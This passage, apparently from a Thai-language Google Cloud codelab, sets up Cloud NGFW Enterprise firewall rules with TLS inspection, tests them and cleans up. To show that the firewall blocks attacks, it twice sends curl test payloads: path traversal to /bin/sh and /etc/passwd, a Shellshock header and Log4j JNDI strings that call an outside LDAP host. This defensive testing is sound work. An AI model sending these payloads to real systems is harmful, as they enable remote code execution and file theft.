--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
สร้างกฎใหม่เพื่อตรวจสอบการตรวจสอบ L7 ขาออกด้วย TLS
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
สร้างกฎใหม่เพื่ออนุญาตขาออกสำหรับ E/W เพื่อป้องกันการตรวจสอบซ้ำ
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. การตรวจสอบการตรวจสอบ TLS ขาออก
สลับกลับไปที่แท็บ VM ของไคลเอ็นต์หรือเชื่อมต่ออีกครั้ง
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
ส่งการโจมตีตัวอย่างไปยังปลายทางอินเทอร์เน็ต
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
ไม่ได้รับการตอบสนองตามเอาต์พุตที่คาดไว้ด้านล่าง ซึ่งยืนยันว่าตอนนี้ระบบบล็อกการโจมตีตัวอย่างแล้ว
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
ตั้งค่าตัวแปรเป็น IP ของเซิร์ฟเวอร์จากก่อนหน้า
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
ส่งคำขอ TLS ตัวอย่างไปยังเซิร์ฟเวอร์
curl https://$target_privateip --max-time 2
ผลลัพธ์ที่คาดไว้
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
เหตุใดคำขอนี้จึงไม่สำเร็จ เนื่องจากไฟร์วอลล์ได้รับใบรับรองจากเซิร์ฟเวอร์ที่ไม่น่าเชื่อถือ หากเกิดกรณีนี้ขึ้น ระบบจะส่งใบรับรองแบบ Self-signed กลับไปยังไคลเอ็นต์ เราต้องเพิ่มใบรับรอง CA เป็นส่วนหนึ่งของการกำหนดค่าความน่าเชื่อถือเพื่อเปิดใช้ความน่าเชื่อถือ
กลับไปที่ Cloud Shell
11. กำหนดค่าการกำหนดค่าความน่าเชื่อถือ
รับใบรับรอง CA รูทและตั้งค่าเป็นตัวแปรที่มีการจัดรูปแบบที่เหมาะสม
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
กำหนดค่าไฟล์ YAML ของการกำหนดค่าความน่าเชื่อถือ ไฟล์นี้มีรายละเอียดความน่าเชื่อถือ เช่น ใบรับรอง CA
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
คำสั่งข้างต้นมีใบรับรอง CA หลักเป็นส่วนหนึ่งของที่เก็บข้อมูลที่เชื่อถือได้ เนื่องจากใบรับรองเซิร์ฟเวอร์ของคุณได้รับการลงนามโดยใช้ CA หลัก ซึ่งหมายความว่าไฟร์วอลล์จะเชื่อถือใบรับรองใดก็ตามที่ได้รับซึ่งลงนามโดย CA รูทของคุณ นอกเหนือจาก Public CA หากนโยบาย TLS มี excludePublicCaSet เป็น false
ตรวจสอบเนื้อหาของการกำหนดค่าความน่าเชื่อถือ
cat trust_config.yaml
เอาต์พุตตัวอย่าง
โปรดตรวจสอบการเยื้องของใบรับรองอย่างละเอียด โดยต้องเป็นไปตามรูปแบบนี้อย่างเคร่งครัด
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRS
-----END CERTIFICATE-----
นำเข้าการกำหนดค่าความน่าเชื่อถือ
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
อัปเดตไฟล์ YAML ของนโยบาย TLS เพื่อรวมการกำหนดค่าความน่าเชื่อถือ
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
นำเข้านโยบาย TLS ที่อัปเดตแล้ว
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. การตรวจสอบการตรวจสอบ TLS ของ E/W
SSH กลับไปยังไคลเอ็นต์เพื่อทดสอบการรับส่งข้อมูล E/W ด้วยการกำหนดค่าความน่าเชื่อถือที่อัปเดตแล้ว
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
เรียกใช้คำขอ TLS ตัวอย่างไปยังเซิร์ฟเวอร์
curl https://$target_privateip --max-time 2
หากยังคงได้รับเอาต์พุตด้านล่าง โปรดรอให้การอัปเดตมีผล
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
ผลลัพธ์ที่คาดไว้
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
ส่งการเข้าชมทดสอบที่เป็นอันตรายไปยังเซิร์ฟเวอร์
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
ผลลัพธ์ที่คาดไว้
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
ไม่ได้รับการตอบกลับตามเอาต์พุตที่คาดไว้ด้านล่าง ซึ่งยืนยันว่าตอนนี้ระบบบล็อกการโจมตีตัวอย่างสำหรับ E/W แล้ว
13. การบันทึก
ไปที่การบันทึก > Logs Explorer ผ่าน Cloud Console ป้อนตัวกรองด้านล่าง แล้วค้นหาบันทึก แทนที่ [PROJECT_ID] ด้วย project_id ของคุณ
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
รายการบันทึกของ Cloud NGFW Enterprise ควรมีลักษณะคล้ายกับรายการด้านล่าง

ขยายรายการบันทึกและสังเกตว่าระบบได้ระบุและบล็อกการโจมตีที่ส่งจาก VM ไคลเอ็นต์ไปยังเซิร์ฟเวอร์แล้ว (ช่องโหว่การดำเนินการโค้ดจากระยะไกลของ Apache Log4j ตามภาพหน้าจอด้านล่าง)

คุณได้ติดตั้งใช้งาน Cloud NGFW Enterprise พร้อมการตรวจสอบ TLS เพื่อบล็อกคำขอที่เป็นอันตรายเรียบร้อยแล้ว
ไปยังส่วนถัดไปเพื่อดูขั้นตอนการล้างข้อมูล
14. ขั้นตอนการล้างข้อมูล
การล้างข้อมูลการตั้งค่าพื้นฐาน
นำอินสแตนซ์ออก
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
ทำตามขั้นตอนด้านล่างหากมีการเปลี่ยนแปลงบทบาท tagAdmin และ tagUsers
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
นำคีย์และค่าของแท็กออก
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
นำนโยบายเครือข่ายไฟร์วอลล์ของ Cloud และการเชื่อมโยงออก
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
ลบ Cloud Router และ Cloud NAT โดยทำดังนี้
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
ลบที่อยู่ IP ที่สงวนไว้
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
SPG, การเชื่อมโยง และการล้างข้อมูล TLS ของ Cloud Firewall
ลบกลุ่มโปรไฟล์ความปลอดภัยและโปรไฟล์ภัยคุกคามตามลำดับต่อไปนี้
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
ลบการเชื่อมโยงปลายทางของ Cloud Firewall โดยทำดังนี้
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
ลบปลายทางของ Cloud Firewall ซึ่งอาจใช้เวลาประมาณ 20 นาที
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
(ไม่บังคับ) ยืนยันว่าได้ลบปลายทาง Cloud NGFW แล้วโดยเรียกใช้คำสั่งด้านล่าง
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
สถานะของอุปกรณ์ปลายทางควรแสดงดังนี้
STATE: DELETING
เมื่อเสร็จสมบูรณ์แล้ว ระบบจะไม่แสดงปลายทางอีกต่อไป
ลบนโยบาย TLS และการกำหนดค่าความน่าเชื่อถือตามลำดับต่อไปนี้
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
ปิดใช้และลบ CA หลักและพูล CA โดยทำดังนี้
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
การล้างข้อมูลซับเน็ตและ VPC
สุดท้าย ให้ลบซับเน็ตและเครือข่าย VPC โดยทำดังนี้
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
15. ยินดีด้วย
ยินดีด้วย คุณทำ Codelab เรื่อง Cloud NGFW Enterprise สำหรับการตรวจสอบ TLS ในทิศทางตะวันออก-ตะวันตกและทิศทางเหนือสำเร็จแล้ว